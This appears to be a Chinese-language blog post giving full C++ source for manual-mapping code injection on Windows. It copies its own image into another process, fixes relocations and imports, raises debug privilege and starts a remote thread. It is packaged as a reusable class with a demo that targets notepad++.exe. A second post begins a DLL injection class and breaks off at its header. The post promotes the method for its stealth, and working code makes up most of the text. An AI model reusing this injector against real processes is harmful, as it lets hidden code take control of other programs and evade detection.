通过CreateRemoteThread&WriteProcessMemory实现远程线程注入,没有通过加载DLL注入,有更好的隐蔽性。 参考:http://www.vckbase.com/index.php/wv/1653/

0x01前言

远程线程技术指的是通过在其他进程中创建新线程的方法进入该进程的内存地址空间,从而获得对该进程的控制权的方法。 在进程中可以通过CreateThread函数创建线程,被创建的新线程与主线程共享地址空间以及其他的资源。同样,通过CreateRemoteThread函数可以在其他进程内创建新线程,新创建的的远程线程可以共享远程进程的地址空间。 所以通过在远程进程中创建新的方法,就可以进入到远程进程的内存地址空间,也就拥有了和那个远程进程相当的权限,可以在远程进程中执行代码,从而达到远程进程控制、进程隐藏的目的。

0x02基本原理

思路: 将程序自身映像写入远程线程然后进行重定位 然后创建远程线程调用其中的入口函数 之后线程运行后先写好AIT 其实就是手动完成PE loader进行模块导入时重定向和写AIT。 可以先看实现代码再回头看,实现代码注释比较详细。。

1.OpenProcess获得远程进程句柄

1
hRemoteProcess = OpenProcess(PROCESS\_ALL\_ACCESS, FALSE, dwProcessID);

2.VirtualAllocEx在远程进程申请空间,申请大小为程序自身映像大小。

1
lpInjectPoint = (LPBYTE)VirtualAllocEx(hRemoteProcess, 0, dwImageSize, MEM\_COMMIT, PAGE\_EXECUTE_READWRITE);

3.将程序自身的映像的的重定位并且写入远程线程

1
RelocCode(lpNewMoudle, lpInjectPoint); WriteProcessMemory(hRemoteProcess, lpInjectPoint, lpNewMoudle, dwImageSize, NULL);

4.运行远程线程

得到ThreadEntry在远程进程中的地址,利用函数在模块中的相对地址+注入点地址 lpRemoteEntryPoint = (LPTHREAD_START_ROUTINE)(lpInjectPoint + (DWORD)fnRemoteThread_Main - lpMoudle); 将插入点地址作为参数传递给线程函数 lpParam = lpInjectPoint; 运行远程线程 hRemoteThread = CreateRemoteThread(hRemoteProcess, NULL, 0, lpRemoteEntryPoint, lpParam, 0, NULL);

5.远程线程运行的入口函数

1
2
3
4
5
6
7
//CreateRemoteThread的线程运行入口
DWORD ThreadEntry(LPBYTE lpImageBase)
{
if (LoadAPI(lpImageBase))//先完成API函数的导入工作
RemoteThread\_Main((HINSTANCE)lpImageBase); //执行函数RemoteThread\_Main中的代码
return 0;
}

先运行LoadAPI函数写入AIT,之后调用自己的编写的fnRemoteThread_Main函数执行自己的操作

6.其中的重定位及AIT操作

重定位表

参考http://hi.baidu.com/_achillis/item/7e324e08db884b94a2df4313 重定位表由一个个的重定位块组成,如果重定位表存在的话,必定是至少有一个重定位块。 因为每个块只负责定位0x1000大小范围内的数据,因此如果要定位的数据范围比较大的话, 就会有多个重定位块存在。 每个块的首部是如下定义:

1
2
3
4
typedef struct \_IMAGE\_BASE_RELOCATION {
DWORD VirtualAddress;
DWORD SizeOfBlock;
} IMAGE\_BASE\_RELOCATION;

把内存中需要重定位的数据按页的大小0x1000分为若干个块,而这个VirtualAddress就是每个块的起始RVA.只知道块的RVA当然还不行,我们要知道每一个需要重定位数据的具体地址。 每个需重定位的数据其地址及定位方式用两个字节来表示,记为RelocData,紧跟在IMAGE_BASE_RELOCATION结构之后。

每个块中重定位信息的个数

这个可由每个块结构中的Size来确定。Size的值是以DWORD表示的当前整个块的大小,先减去IMAGE_BASE_RELOCATION的大小,因为重定位数据是16位WORD的,再除以2,就得到个重定位数据的个数。

遍历每个重定位块

由Size可以直接到达下一个重定位块即当前块地址+Size 某个块首结构的VirtualAddress为0,表明重定位表结束。

修改每个需重定位的地址

每个16位重定位信息包括低12位的重定位位置和高4位的重定位类型。要得到重定位的RVA,IMAGE_BASE_RELOCATION’的’VirtualAddress’需要加上12位位置偏移量. 类型可以查询MSDN 以一个重定位数据0x34AC为例,其高四位表明了重定位类型为3,即IMAGE_REL_BASED_HIGHLOW,Win32环境下的重定位基本都是这个类型的。 其低12位则表明了相对于VirtualAddress的RVA偏移量。VirtualAddress即需重定位的数据块的起始RVA,再加上这低12位的值就得到了具体的需要进行重定位处理的数据的RVA。 就是说: 要进行重定位处理的数据的RVA=VirtualAddress+RelocData&0x0FFF 函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
//完成重定位
static void RelocCode(LPBYTE lpImage, LPBYTE lpInjectBase)
{
DWORD dwRva = 0, dwRvaCount = 0, dwRelocOffset = 0;
LPWORD lpwOffset = NULL;
PIMAGE\_NT\_HEADERS pNtHeader = NULL;
LPBYTE lpRelocTable;
PIMAGE\_BASE\_RELOCATION pBaseReloc;
//获取ntheader
pNtHeader = (PIMAGE\_NT\_HEADERS)(lpImage + ((PIMAGE\_DOS\_HEADER)lpImage)->e_lfanew);
//获取重定位表位置
lpRelocTable = lpImage + pNtHeader->OptionalHeader.DataDirectory\[5\].VirtualAddress;
pBaseReloc = (PIMAGE\_BASE\_RELOCATION)lpRelocTable;
//获取重定位表偏移
dwRelocOffset = (DWORD)lpInjectBase - pNtHeader->OptionalHeader.ImageBase;
//遍历重定位表,修正需要重定位的代码
while (pBaseReloc->VirtualAddress != NULL)
{
lpwOffset = (WORD*)(lpRelocTable + sizeof(IMAGE\_BASE\_RELOCATION));
dwRvaCount = (pBaseReloc->SizeOfBlock - sizeof(IMAGE\_BASE\_RELOCATION)) / 2;
//循环修正
for (DWORD i = 0; i < dwRvaCount; i++)
{
//获取要修正的RVA
dwRva = (DWORD)lpImage + (pBaseReloc->VirtualAddress) + (DWORD)(*lpwOffset & 0x0fff);
//RVA加上修正量进行修正
*(DWORD*)dwRva += dwRelocOffset;
lpwOffset++;
}
//指向下一页重定位信息处
lpRelocTable += pBaseReloc->SizeOfBlock;
pBaseReloc = (PIMAGE\_BASE\_RELOCATION)lpRelocTable;
}
}

写入AIT表

实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
//用于完成API函数的导入,参数为要插入代码处地址
BOOL CInjectCode::LoadAPI(LPBYTE lpInjectBase)
{
PIMAGE\_DOS\_HEADER pDosHeader = (PIMAGE\_DOS\_HEADER)lpInjectBase;
PIMAGE\_NT\_HEADERS pNtHeader = (PIMAGE\_NT\_HEADERS)(lpInjectBase + pDosHeader->e_lfanew);
PIMAGE\_IMPORT\_DESCRIPTOR pImportDescriptor = (PIMAGE\_IMPORT\_DESCRIPTOR)
(lpInjectBase + pNtHeader->OptionalHeader.DataDirectory\[1\].VirtualAddress);
for (; pImportDescriptor->OriginalFirstThunk != 0; pImportDescriptor++)//遍历导入表
{
HMODULE hDll = LoadLibraryA((LPCSTR)(lpInjectBase + pImportDescriptor->Name));
//上面能直接引用LoadLibrary是由于本地和远程进程中该函数地址都是相同的
if (hDll == NULL)
return FALSE;
PIMAGE\_THUNK\_DATA Origin = (PIMAGE\_THUNK\_DATA)(lpInjectBase + pImportDescriptor->OriginalFirstThunk);
PIMAGE\_THUNK\_DATA First = (PIMAGE\_THUNK\_DATA)(lpInjectBase + pImportDescriptor->FirstThunk);
LPCSTR Name = NULL;
PIMAGE\_IMPORT\_BY\_NAME Import\_name = NULL;
for (; Origin->u1.Ordinal != 0; Origin++, First++)
{
if (Origin->u1.Ordinal & IMAGE\_ORDINAL\_FLAG)
Name = (LPCSTR)IMAGE_ORDINAL(Origin->u1.Ordinal);
else
{
Import\_name = (PIMAGE\_IMPORT\_BY\_NAME)(lpInjectBase + (DWORD)(Origin->u1.AddressOfData));
Name = (LPCSTR)Import_name->Name;
}
First->u1.Function = (DWORD)GetProcAddress(hDll, Name);
//上面能直接引用GetProcAddress是由于本地和远程进程中该函数地址都是相同的
if (First->u1.Function == NULL)
return FALSE;
}
}
return TRUE;
}

0x03编程实现

编程的实现,注释的比较详细

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
#pragma once
#include <stdio.h>
#include <tchar.h>
#include <windows.h>
#include <memory.h>
//完成重定位
static void RelocCode(LPBYTE lpImage, LPBYTE lpInjectBase)
{
DWORD dwRva = 0, dwRvaCount = 0, dwRelocOffset = 0;
LPWORD lpwOffset = NULL;
PIMAGE\_NT\_HEADERS pNtHeader = NULL;
LPBYTE lpRelocTable;
PIMAGE\_BASE\_RELOCATION pBaseReloc;
//获取ntheader
pNtHeader = (PIMAGE\_NT\_HEADERS)(lpImage + ((PIMAGE\_DOS\_HEADER)lpImage)->e_lfanew);
//获取重定位表位置
lpRelocTable = lpImage + pNtHeader->OptionalHeader.DataDirectory\[5\].VirtualAddress;
pBaseReloc = (PIMAGE\_BASE\_RELOCATION)lpRelocTable;
//获取重定位表偏移
dwRelocOffset = (DWORD)lpInjectBase - pNtHeader->OptionalHeader.ImageBase;
//遍历重定位表,修正需要重定位的代码
while (pBaseReloc->VirtualAddress != NULL)
{
lpwOffset = (WORD*)(lpRelocTable + sizeof(IMAGE\_BASE\_RELOCATION));
dwRvaCount = (pBaseReloc->SizeOfBlock - sizeof(IMAGE\_BASE\_RELOCATION)) / 2;
//循环修正
for (DWORD i = 0; i < dwRvaCount; i++)
{
//获取要修正的RVA
dwRva = (DWORD)lpImage + (pBaseReloc->VirtualAddress) + (DWORD)(*lpwOffset & 0x0fff);
//RVA加上修正量进行修正
*(DWORD*)dwRva += dwRelocOffset;
lpwOffset++;
}
//指向下一页重定位信息处
lpRelocTable += pBaseReloc->SizeOfBlock;
pBaseReloc = (PIMAGE\_BASE\_RELOCATION)lpRelocTable;
}
}
//用于完成API函数的导入,参数为要插入代码处地址
BOOL LoadAPI(LPBYTE lpInjectBase)
{
PIMAGE\_DOS\_HEADER pDosHeader = (PIMAGE\_DOS\_HEADER)lpInjectBase;
PIMAGE\_NT\_HEADERS pNtHeader = (PIMAGE\_NT\_HEADERS)(lpInjectBase + pDosHeader->e_lfanew);
PIMAGE\_IMPORT\_DESCRIPTOR pImportDescriptor = (PIMAGE\_IMPORT\_DESCRIPTOR)
(lpInjectBase + pNtHeader->OptionalHeader.DataDirectory\[1\].VirtualAddress);
for (; pImportDescriptor->OriginalFirstThunk != 0; pImportDescriptor++)//遍历导入表
{
HMODULE hDll = LoadLibraryA((LPCSTR)(lpInjectBase + pImportDescriptor->Name));
//上面能直接引用LoadLibrary是由于本地和远程进程中该函数地址都是相同的
if (hDll == NULL)
return FALSE;
PIMAGE\_THUNK\_DATA Origin = (PIMAGE\_THUNK\_DATA)(lpInjectBase + pImportDescriptor->OriginalFirstThunk);
PIMAGE\_THUNK\_DATA First = (PIMAGE\_THUNK\_DATA)(lpInjectBase + pImportDescriptor->FirstThunk);
LPCSTR Name = NULL;
PIMAGE\_IMPORT\_BY\_NAME Import\_name = NULL;
for (; Origin->u1.Ordinal != 0; Origin++, First++)
{
if (Origin->u1.Ordinal & IMAGE\_ORDINAL\_FLAG)
Name = (LPCSTR)IMAGE_ORDINAL(Origin->u1.Ordinal);
else
{
Import\_name = (PIMAGE\_IMPORT\_BY\_NAME)(lpInjectBase + (DWORD)(Origin->u1.AddressOfData));
Name = (LPCSTR)Import_name->Name;
}
First->u1.Function = (DWORD )GetProcAddress(hDll, Name);
//上面能直接引用GetProcAddress是由于本地和远程进程中该函数地址都是相同的
if (First->u1.Function == NULL)
return FALSE;
}
}
return TRUE;
}
//远程要执行的代码,在这里只演示MessageBox
DWORD RemoteThread_Main(HINSTANCE hInstance)
{
::MessageBox(0, \_T("远程线程插入成功!"), \_T("远程线程"), 0);
return 0;
}
//CreateRemoteThread的线程运行入口
DWORD ThreadEntry(LPBYTE lpImageBase)
{
if (LoadAPI(lpImageBase))//先完成API函数的导入工作
RemoteThread\_Main((HINSTANCE)lpImageBase); //执行函数RemoteThread\_Main中的代码
return 0;
}
//注入
BOOL Inject(DWORD dwProcessID)
{
LPBYTE lpNewMoudle = NULL;
HANDLE hRemoteProcess = NULL;
HANDLE hRemoteThread = NULL;
BOOL bRet=TRUE;
__try
{
//获取自身句柄
LPBYTE lpMoudle = NULL;
lpMoudle = (LPBYTE)GetModuleHandle(NULL);
if (lpMoudle == NULL)
{
OutputDebugString(_T("GetModuleHandle failedn"));
bRet = FALSE;
__leave;
}
//获取NT_HEADER
PIMAGE\_NT\_HEADERS pNtHeader = NULL;
pNtHeader = (PIMAGE\_NT\_HEADERS)(lpMoudle + ((PIMAGE\_DOS\_HEADER)lpMoudle)->e_lfanew);
//得到自身映像大小
DWORD dwImageSize;
dwImageSize = pNtHeader->OptionalHeader.SizeOfImage;
//在当前空间申请空间存放自身代码
lpNewMoudle = (LPBYTE)VirtualAlloc(NULL, dwImageSize, MEM\_COMMIT | MEM\_RESERVE,
PAGE\_EXECUTE\_READWRITE);
if (lpNewMoudle == NULL)
{
OutputDebugString(_T("VirtualAlloc failedn"));
bRet = FALSE;
__leave;
}
//拷贝自身到buffer
PIMAGE\_NT\_HEADERS pNewNtHeader = NULL;
memcpy_s(lpNewMoudle, dwImageSize, lpMoudle, dwImageSize);
//获取Buffer中NtHeader
pNewNtHeader = (PIMAGE\_NT\_HEADERS)(lpNewMoudle + ((PIMAGE\_DOS\_HEADER)lpMoudle)->e_lfanew);
//获取远程进程ID
dwProcessID = 1516;
//打开远程进程
hRemoteProcess = OpenProcess(PROCESS\_ALL\_ACCESS, FALSE, dwProcessID);
if (hRemoteProcess == NULL)
{
OutputDebugString(_T("OpenProcess failedn"));
bRet = FALSE;
__leave;
}
//在远程进程申请空间
LPBYTE lpInjectPoint;
lpInjectPoint = (LPBYTE)VirtualAllocEx(hRemoteProcess, 0, dwImageSize, MEM\_COMMIT, PAGE\_EXECUTE_READWRITE);
if (lpInjectPoint == NULL)
{
OutputDebugString(_T("VirtualAllocEx failedn"));
bRet = FALSE;
__leave;
}
//重定位NewMoudle代码
RelocCode(lpNewMoudle, lpInjectPoint);
//得到ThreadEntry在远程进程中的地址
LPTHREAD\_START\_ROUTINE lpRemoteEntryPoint;
LPBYTE lpParam;
lpRemoteEntryPoint = (LPTHREAD\_START\_ROUTINE)(lpInjectPoint + (DWORD)&ThreadEntry - lpMoudle);
//将插入点地址作为参数传递给线程函数
lpParam = lpInjectPoint;
//将重定位好的代码通过WriteProcessMemory写入远程进程的内存空间中
if (!WriteProcessMemory(hRemoteProcess, lpInjectPoint, lpNewMoudle, dwImageSize, NULL))
{
OutputDebugString(_T("WriteProcessMemory failedn"));
bRet = FALSE;
__leave;
}
//通过CreateRemoteThread启动刚写入的代码,参数为Param
hRemoteThread = CreateRemoteThread(hRemoteProcess, NULL, 0, lpRemoteEntryPoint, lpParam, 0, NULL);
if (hRemoteThread == NULL)
{
OutputDebugString(_T("CreateRemoteThread failedn"));
bRet = FALSE;
__leave;
}
// //等待线程执行完成
// WaitForSingleObject(hRemoteThread, INFINITE);
//
// //获取完成返回值
// DWORD dwExitCode;
// if (!GetExitCodeThread(hRemoteThread, &dwExitCode))
// {
// OutputDebugString(_T("GetExitCodeThread failedn"));
// bRet = FALSE;
// __leave;
// }
}
__finally
{
if (lpNewMoudle != NULL)
{
VirtualFree(lpNewMoudle, 0, MEM_RELEASE);
}
if (hRemoteProcess != NULL)
{
CloseHandle(hRemoteProcess);
}
}
return bRet;
}

0x04 封装成类

把整个实现封装成了一个类,方便调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
#pragma once
class CInjectCode
{
public:
CInjectCode(DWORD (*fn)(HINSTANCE));
~CInjectCode();
void SetRemoteThread_Main(DWORD(*fn)(HINSTANCE));
//注入
BOOL Inject(DWORD dwProcessID);
BOOL Inject(const wchar_t* wszProcessName);
private:
//完成重定位
void RelocCode(LPBYTE lpImage, LPBYTE lpInjectBase);
//用于完成API函数的导入,参数为要插入代码处地址
BOOL LoadAPI(LPBYTE lpInjectBase);
//CreateRemoteThread的线程运行入口
DWORD ThreadEntry(LPBYTE lpImageBase);
//通过进程名获取进程ID
BOOL GetProcessIDByName(const wchar_t* wszProcessName, DWORD& dwProcID);
//提升se_debug权限
BOOL AdjustProcessTokenPrivilege();
private:
//远程执行的函数指针
DWORD(*fnRemoteThread_Main)(HINSTANCE);
};
 
#include "stdafx.h"
#include "InjectCode.h"
#include <stdio.h>
#include <tchar.h>
#include <windows.h>
#include <memory.h>
#include <TlHelp32.h>
CInjectCode::CInjectCode(DWORD(*fn)(HINSTANCE))
{
SetRemoteThread_Main(fn);
}
CInjectCode::~CInjectCode()
{
}
void CInjectCode::SetRemoteThread_Main(DWORD(*fn)(HINSTANCE))
{
fnRemoteThread_Main = fn;
}
//提升se_debug权限
BOOL CInjectCode::AdjustProcessTokenPrivilege()
{
LUID luidTmp;
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN\_ADJUST\_PRIVILEGES | TOKEN_QUERY, &hToken))
{
OutputDebugString(_T("AdjustProcessTokenPrivilege OpenProcessToken Failed ! n"));
return FALSE;
}
if (!LookupPrivilegeValue(NULL, SE\_DEBUG\_NAME, &luidTmp))
{
OutputDebugString(_T("AdjustProcessTokenPrivilege LookupPrivilegeValue Failed ! n"));
CloseHandle(hToken);
return FALSE;
}
tkp.PrivilegeCount = 1;
tkp.Privileges\[0\].Luid = luidTmp;
tkp.Privileges\[0\].Attributes = SE\_PRIVILEGE\_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL))
{
OutputDebugString(_T("AdjustProcessTokenPrivilege AdjustTokenPrivileges Failed ! n"));
CloseHandle(hToken);
return FALSE;
}
return TRUE;
}
//完成重定位
void CInjectCode::RelocCode(LPBYTE lpImage, LPBYTE lpInjectBase)
{
DWORD dwRva = 0, dwRvaCount = 0, dwRelocOffset = 0;
LPWORD lpwOffset = NULL;
PIMAGE\_NT\_HEADERS pNtHeader = NULL;
LPBYTE lpRelocTable;
PIMAGE\_BASE\_RELOCATION pBaseReloc;
//获取ntheader
pNtHeader = (PIMAGE\_NT\_HEADERS)(lpImage + ((PIMAGE\_DOS\_HEADER)lpImage)->e_lfanew);
//获取重定位表位置
lpRelocTable = lpImage + pNtHeader->OptionalHeader.DataDirectory\[5\].VirtualAddress;
pBaseReloc = (PIMAGE\_BASE\_RELOCATION)lpRelocTable;
//获取重定位表偏移
dwRelocOffset = (DWORD)lpInjectBase - pNtHeader->OptionalHeader.ImageBase;
//遍历重定位表,修正需要重定位的代码
while (pBaseReloc->VirtualAddress != NULL)
{
lpwOffset = (WORD*)(lpRelocTable + sizeof(IMAGE\_BASE\_RELOCATION));
dwRvaCount = (pBaseReloc->SizeOfBlock - sizeof(IMAGE\_BASE\_RELOCATION)) / 2;
//循环修正
for (DWORD i = 0; i < dwRvaCount; i++)
{
//获取要修正的RVA
dwRva = (DWORD)lpImage + (pBaseReloc->VirtualAddress) + (DWORD)(*lpwOffset & 0x0fff);
//RVA加上修正量进行修正
*(DWORD*)dwRva += dwRelocOffset;
lpwOffset++;
}
//指向下一页重定位信息处
lpRelocTable += pBaseReloc->SizeOfBlock;
pBaseReloc = (PIMAGE\_BASE\_RELOCATION)lpRelocTable;
}
}
//用于完成API函数的导入,参数为要插入代码处地址
BOOL CInjectCode::LoadAPI(LPBYTE lpInjectBase)
{
PIMAGE\_DOS\_HEADER pDosHeader = (PIMAGE\_DOS\_HEADER)lpInjectBase;
PIMAGE\_NT\_HEADERS pNtHeader = (PIMAGE\_NT\_HEADERS)(lpInjectBase + pDosHeader->e_lfanew);
PIMAGE\_IMPORT\_DESCRIPTOR pImportDescriptor = (PIMAGE\_IMPORT\_DESCRIPTOR)
(lpInjectBase + pNtHeader->OptionalHeader.DataDirectory\[1\].VirtualAddress);
for (; pImportDescriptor->OriginalFirstThunk != 0; pImportDescriptor++)//遍历导入表
{
HMODULE hDll = LoadLibraryA((LPCSTR)(lpInjectBase + pImportDescriptor->Name));
//上面能直接引用LoadLibrary是由于本地和远程进程中该函数地址都是相同的
if (hDll == NULL)
return FALSE;
PIMAGE\_THUNK\_DATA Origin = (PIMAGE\_THUNK\_DATA)(lpInjectBase + pImportDescriptor->OriginalFirstThunk);
PIMAGE\_THUNK\_DATA First = (PIMAGE\_THUNK\_DATA)(lpInjectBase + pImportDescriptor->FirstThunk);
LPCSTR Name = NULL;
PIMAGE\_IMPORT\_BY\_NAME Import\_name = NULL;
for (; Origin->u1.Ordinal != 0; Origin++, First++)
{
if (Origin->u1.Ordinal & IMAGE\_ORDINAL\_FLAG)
Name = (LPCSTR)IMAGE_ORDINAL(Origin->u1.Ordinal);
else
{
Import\_name = (PIMAGE\_IMPORT\_BY\_NAME)(lpInjectBase + (DWORD)(Origin->u1.AddressOfData));
Name = (LPCSTR)Import_name->Name;
}
First->u1.Function = (DWORD)GetProcAddress(hDll, Name);
//上面能直接引用GetProcAddress是由于本地和远程进程中该函数地址都是相同的
if (First->u1.Function == NULL)
return FALSE;
}
}
return TRUE;
}
//CreateRemoteThread的线程运行入口
DWORD CInjectCode::ThreadEntry(LPBYTE lpImageBase)
{
if (LoadAPI(lpImageBase))//先完成API函数的导入工作
fnRemoteThread\_Main((HINSTANCE)lpImageBase); //执行函数RemoteThread\_Main中的代码
return 0;
}
//通过进程名获取进程ID
BOOL CInjectCode::GetProcessIDByName(const wchar_t* wszProcessName, DWORD& dwProcID)
{
HANDLE hSnapShot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, dwProcID);
PROCESSENTRY32 pe = { sizeof(pe) };
BOOL bOk = ::Process32First(hSnapShot, &pe);
while (bOk)
{
if (wcsstr(pe.szExeFile, wszProcessName) != NULL)
{
dwProcID = pe.th32ProcessID;
return TRUE;
}
bOk = ::Process32Next(hSnapShot, &pe);
}
::CloseHandle(hSnapShot);
return FALSE;
}
//远程注入
BOOL CInjectCode::Inject(DWORD dwProcessID)
{
LPBYTE lpNewMoudle = NULL;
HANDLE hRemoteProcess = NULL;
HANDLE hRemoteThread = NULL;
BOOL bRet = TRUE;
__try
{
//获取自身句柄
LPBYTE lpMoudle = NULL;
lpMoudle = (LPBYTE)GetModuleHandle(NULL);
if (lpMoudle == NULL)
{
OutputDebugString(_T("GetModuleHandle failedn"));
bRet = FALSE;
__leave;
}
//获取NT_HEADER
PIMAGE\_NT\_HEADERS pNtHeader = NULL;
pNtHeader = (PIMAGE\_NT\_HEADERS)(lpMoudle + ((PIMAGE\_DOS\_HEADER)lpMoudle)->e_lfanew);
//得到自身映像大小
DWORD dwImageSize;
dwImageSize = pNtHeader->OptionalHeader.SizeOfImage;
//在当前空间申请空间存放自身代码
lpNewMoudle = (LPBYTE)VirtualAlloc(NULL, dwImageSize, MEM\_COMMIT | MEM\_RESERVE,
PAGE\_EXECUTE\_READWRITE);
if (lpNewMoudle == NULL)
{
OutputDebugString(_T("VirtualAlloc failedn"));
bRet = FALSE;
__leave;
}
//拷贝自身到buffer
PIMAGE\_NT\_HEADERS pNewNtHeader = NULL;
memcpy_s(lpNewMoudle, dwImageSize, lpMoudle, dwImageSize);
//获取Buffer中NtHeader
pNewNtHeader = (PIMAGE\_NT\_HEADERS)(lpNewMoudle + ((PIMAGE\_DOS\_HEADER)lpMoudle)->e_lfanew);
//提升权限
if (!AdjustProcessTokenPrivilege())
{
OutputDebugString(_T("OpenProcess failedn"));
}
//打开远程进程
hRemoteProcess = OpenProcess(PROCESS\_ALL\_ACCESS, FALSE, dwProcessID);
if (hRemoteProcess == NULL)
{
OutputDebugString(_T("OpenProcess failedn"));
bRet = FALSE;
__leave;
}
//在远程进程申请空间
LPBYTE lpInjectPoint;
lpInjectPoint = (LPBYTE)VirtualAllocEx(hRemoteProcess, 0, dwImageSize, MEM\_COMMIT, PAGE\_EXECUTE_READWRITE);
if (lpInjectPoint == NULL)
{
OutputDebugString(_T("VirtualAllocEx failedn"));
bRet = FALSE;
__leave;
}
//重定位NewMoudle代码
RelocCode(lpNewMoudle, lpInjectPoint);
//得到ThreadEntry在远程进程中的地址
LPTHREAD\_START\_ROUTINE lpRemoteEntryPoint;
LPBYTE lpParam;
lpRemoteEntryPoint = (LPTHREAD\_START\_ROUTINE)(lpInjectPoint + (DWORD)fnRemoteThread_Main - lpMoudle);
//将插入点地址作为参数传递给线程函数
lpParam = lpInjectPoint;
//将重定位好的代码通过WriteProcessMemory写入远程进程的内存空间中
if (!WriteProcessMemory(hRemoteProcess, lpInjectPoint, lpNewMoudle, dwImageSize, NULL))
{
OutputDebugString(_T("WriteProcessMemory failedn"));
bRet = FALSE;
__leave;
}
//通过CreateRemoteThread启动刚写入的代码,参数为Param
hRemoteThread = CreateRemoteThread(hRemoteProcess, NULL, 0, lpRemoteEntryPoint, lpParam, 0, NULL);
if (hRemoteThread == NULL)
{
OutputDebugString(_T("CreateRemoteThread failedn"));
bRet = FALSE;
__leave;
}
// //等待线程执行完成
// WaitForSingleObject(hRemoteThread, INFINITE);
//
// //获取完成
// DWORD dwExitCode;
// if (!GetExitCodeThread(hRemoteThread, &dwExitCode))
// {
// OutputDebugString(_T("GetExitCodeThread failedn"));
// bRet = FALSE;
// __leave;
// }
}
__finally
{
if (lpNewMoudle != NULL)
{
VirtualFree(lpNewMoudle, 0, MEM_RELEASE);
}
if (hRemoteProcess != NULL)
{
CloseHandle(hRemoteProcess);
}
}
return bRet;
}
//重载使用进程名
BOOL CInjectCode::Inject(const wchar_t* wszProcessName)
{
DWORD dwProcID;
if (GetProcessIDByName(wszProcessName, dwProcID))
{
return Inject(dwProcID);
}
else
{
OutputDebugString(_T("GetProcessIDByName failedn"));
return FALSE;
}
}
附上使用demo
#include "InjectCode.h"
//远程要执行的代码,在这里只演示MessageBox
DWORD RemoteThread_Main1(HINSTANCE hInstance)
{
::MessageBox(0, \_T("远程线程插入成功!"), \_T("远程线程"), 0);
return 0;
}
DWORD RemoteThread_Main2(HINSTANCE hInstance)
{
::MessageBox(0, \_T("远程线程插入成功!"), \_T("远程线程"), 0);
return 0;
}
int \_tmain(int argc, \_TCHAR* argv\[\])
{
CInjectCode injectcode(RemoteThread_Main1);
if injectcode.Inject(L"notepad++.exe");
injectcode.SetRemoteThread\_Main(RemoteThread\_Main2);
injectcode.Inject(164);
return 0;
}

Comment and share

找到之前写的个类,ring3实现DLL注入进程,Inject()注入,Uninject()卸载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
/************************************************************************/
/*
Yufan
CInjectDLL a class for DLL injection
to inject use Inject()
to uninject use Uninject()
*/
/************************************************************************/
#pragma once
#include "stdafx.h"
class CInjectDLL
{
public:
CInjectDLL(void);
BOOL Inject(const DWORD dwRemoteProcessID, const LPCTSTR& lpwszRemoteDllFullPath);
BOOL Inject(const LPCWSTR wszProcessName, const LPCTSTR& lpwszRemoteDllFullPath);
BOOL Uninject(const DWORD dwRemoteProcessID, const LPCTSTR& lpwszRemoteDllFullPath);
